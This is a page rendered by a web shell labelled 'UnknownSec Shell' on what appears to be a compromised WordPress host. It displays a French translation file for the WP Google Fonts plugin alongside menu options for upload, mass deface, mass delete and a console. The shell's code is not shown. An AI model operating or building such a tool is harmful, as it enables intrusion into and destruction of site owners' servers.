shell bypass 403
UnknownSec Shell
:
/
home
/
a
/
k
/
w
/
akwariom
/
www
/
wp-content
/
plugins
/
wp-google-fonts
/
languages
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
googlefonts-fr_FR.po
msgid "" msgstr "" "Project-Id-Version: Google Fonts\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2012-12-08 21:48+0100\n" "PO-Revision-Date: \n" "Last-Translator: Frédéric Serva <fred.serva@gmail.com>\n" "Language-Team: Frédéric Serva <fred.serva@gmail.com>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-Language: French\n" "X-Poedit-Country: FRANCE\n" "X-Poedit-SourceCharset: utf-8\n" "Plural-Forms: nplurals=2;plural=n>2\n" "X-Poedit-KeywordsList: __;_e;gettext;gettext_noop;_n\n" "X-Poedit-Basepath: /Users/Frederic/Desktop/wp-google-fonts/\n" "X-Poedit-SearchPath-0: /Users/Frederic/Desktop/wp-google-fonts\n" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:223 msgid "Unable to do a live update on the font list." msgstr "Impossible d'effectuer une mise à jour en ligne de la liste des polices." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:233 msgid "Font list file doesn't exist and wasn't able to be updated." msgstr "La liste de polices n'existe pas et n'a pu être mise à jour." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:321 msgid "Using the local font list file because we could not connect with Google." msgstr "La liste de polices locales a été utilisée car il est impossible de se connecter à Google." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:323 msgid "Local font list file cannot be found or does not exist." msgstr "La liste de polices locales n'a pu être trouvée ou n'existe pas." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:428 msgid "Show Options" msgstr "Afficher les options" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:434 msgid "1. Choose the font styles you want:*" msgstr "1. Choisissez le style que vous désirez pour cette police :*" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:437 msgid "2. Elements you want to assign this font to:*" msgstr "2. Choisissez les éléments à associer à cette police de caractère : *" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:438 msgid "3. Custom CSS (optional):" msgstr "3. CSS personnalisé (optionnel) :" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:441 msgid "4. Choose character sets you want." msgstr "4. Choisissez le jeu de caractères :" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:444 msgid "Save All Fonts" msgstr "Sauvegarder toutes les polices" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:877 msgid "Settings" msgstr "Paramètres" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:884 msgid "Whoops! There was a problem with the data you posted. Please go back and try again." msgstr "Oups ! Un problème a été rencontré avec les données que vous avez postées. Merci de revenir en arrière et de réessayer." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:929 msgid "Success! Your changes were sucessfully saved!" msgstr "Bravo ! Vos modifications ont été sauvegardées !" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:931 msgid "Error. Either you did not make any changes, or your changes did not save. Please try again." msgstr "Erreur. Soit vous n'avez effectué aucune modification, soit ces modifications n'ont pas été prises en compte. Merci de réessayer." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:940 msgid "Google Font Control Panel" msgstr "Panneau de contrôle des polices Google" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:943 msgid "This control panel gives you the ability to control how your Google Fonts fonts are displayed. For more information about this plugin, please visit the" msgstr "Ce panneau de contrôle vous offre la capacité de choisir à quelles balises CSS les polices de caractères Google Fonts seront associées. Pour plus d'informations concernant cette extension, merci de visiter la" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:944 msgid "Google Fonts plugin page" msgstr "page de l'extension Google Fonts" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:945 msgid "Thanks for using Google Fonts, and we hope you like this plugin." msgstr "Merci d'utiliser Google Fonts. Nous espérons que vous apprécierez cette extension." #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:952 msgid "Select Fonts" msgstr "Choix de la police de caractères" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:967 msgid "Troubleshooting" msgstr "Diagnostics d'incidents" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:968 msgid "This plugin uses open source fonts that are hosted on Google’s servers. For more information about this service, you can visit the" msgstr "Cette extension utilise des polices Open Source hébergées sur les serveurs de Google. Pour plus d'informations concernant ce service, vous pouvez visiter le" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:969 msgid "Google Font Directory" msgstr "Répertoire des polices Google" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:974 msgid "* CSS WARNING" msgstr "* MISE EN GARDE CSS" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:975 msgid "Most likely the theme you are using has defined very specific elements in its stylesheet and these may override the generic tags specified above. If you don’t see any changes after checking the style boxes above, you will need to enter custom css into the CSS box. An example of CSS that would be more specific would be:" msgstr "Il est fort probable que le thème que vous avez installé utilise une feuille de style dans laquelle des éléments très spécifiques ont été définis. Ces définitions peuvent prendre le pas sur les balises génériques définies ci-dessus. Si vous ne constatez aucun changement dans le comportement des éléments définis ci-dessus après avoir sauvegardé vos réglages, vous devrez inspecter la feuille de style du thème et redéfinir certaines balises grâce aux champs CSS personnalisé.<br />Par exemple :" #: /Users/Frederic/Desktop/wp-google-fonts/google-fonts.php:979 msgid "This would define all paragraphs found within a <div id="container"></div> element. Stylesheets (CSS) can be sensitive and tricky sometimes. If you are new to CSS the <a href=\"http://www.w3schools.com/css/\" title=\"w3schools tutorials\">w3schools tutorials</a> are a great place to start." msgstr "Dans cet exemple, tous les paragraphes utilisés entre ces balises HTML <div id="container"></div> utiliseront la police 'Reenie Beanie'. <br />Les feuilles de style (CSS) sont parfois sensibles et retorses. Si vous débutez en CSS (et que vous lisez l'anglais) vous pouvez consulter les tutoriaux de la W3Schools. Vous les trouverez ici : <a href=\"http://www.w3schools.com/css/\" title=\"w3schools tutorials\">w3schools tutorials</a>." #~ msgid "" #~ "Unable to connect to Google's Webfont server at <a href='%s' " #~ "target='_blank'>this URL</a>." #~ msgstr "" #~ "Impossible de se connecter au serveur Google Webfont à <a href='%s' " #~ "target='_blank'>cette URL</a>." #~ msgid "Font List Synchronization" #~ msgstr "Synchronisation de la liste des polices" #~ msgid "All (body tags)" #~ msgstr "Tous (balises body)" #~ msgid "Blockquotes" #~ msgstr "Citations (blockquotes)" #~ msgid "Custom CSS:*" #~ msgstr "CSS personnalisé : *" #~ msgid "Font 2 Options" #~ msgstr "Police de caractères 2 : Options" #~ msgid "Font 3 Options" #~ msgstr "Police de caractères 3 : Options" #~ msgid "Font 4 Options" #~ msgstr "Police de caractères 4 : Options" #~ msgid "Font 5 Options" #~ msgstr "Police de caractères 5 : Options" #~ msgid "Font 6 Options" #~ msgstr "Police de caractères 6 : Options" #~ msgid "Headline 1 (h1 tags)" #~ msgstr "Titre 1 (balises h1)" #~ msgid "Headline 2 (h2 tags)" #~ msgstr "Titre 2 (balises h2)" #~ msgid "Headline 3 (h3 tags)" #~ msgstr "Titre 3 (balises h3)" #~ msgid "Headline 4 (h4 tags)" #~ msgstr "Titre 4 (balises h4)" #~ msgid "Headline 5 (h5 tags)" #~ msgstr "Titre 5 (balises h5)" #~ msgid "Headline 6 (h6 tags)" #~ msgstr "Titre 6 (balises h6)" #~ msgid "Lists (li tags)" #~ msgstr "Listes (balises li)" #~ msgid "None (Turn off Font 1)" #~ msgstr "Aucune (Ne pas utiliser la police 1)" #~ msgid "None (Turn off Font 2)" #~ msgstr "Aucune (Ne pas utiliser la police 2)" #~ msgid "None (Turn off Font 3)" #~ msgstr "Aucune (Ne pas utiliser la police 3)" #~ msgid "None (Turn off Font 4)" #~ msgstr "Aucune (Ne pas utiliser la police 4)" #~ msgid "None (Turn off Font 5)" #~ msgstr "Aucune (Ne pas utiliser la police 5)" #~ msgid "None (Turn off Font 6)" #~ msgstr "Aucune (Ne pas utiliser la police 6)" #~ msgid "Paragraphs (p tags)" #~ msgstr "Paragraphes (balises p)" #~ msgid "Save" #~ msgstr "Sauvegarder" #~ msgid "" #~ "The most common error occurs when a font is specified as \"off\" but has " #~ "boxes checked beneath it. Make sure that there are no boxes checked " #~ "beneath a font that you want to be off." #~ msgstr "" #~ "L'erreur la plus répandue survient lorsqu'une police de caractères est " #~ "indiquée comme n'étant pas utilisée mais qu'un des boutons liés à cette " #~ "police est coché. Vérifiez bien qu'aucun bouton n'est coché lorsque vous " #~ "indiquez que vous n'utilisez pas une police."
© 2026 UnknownSec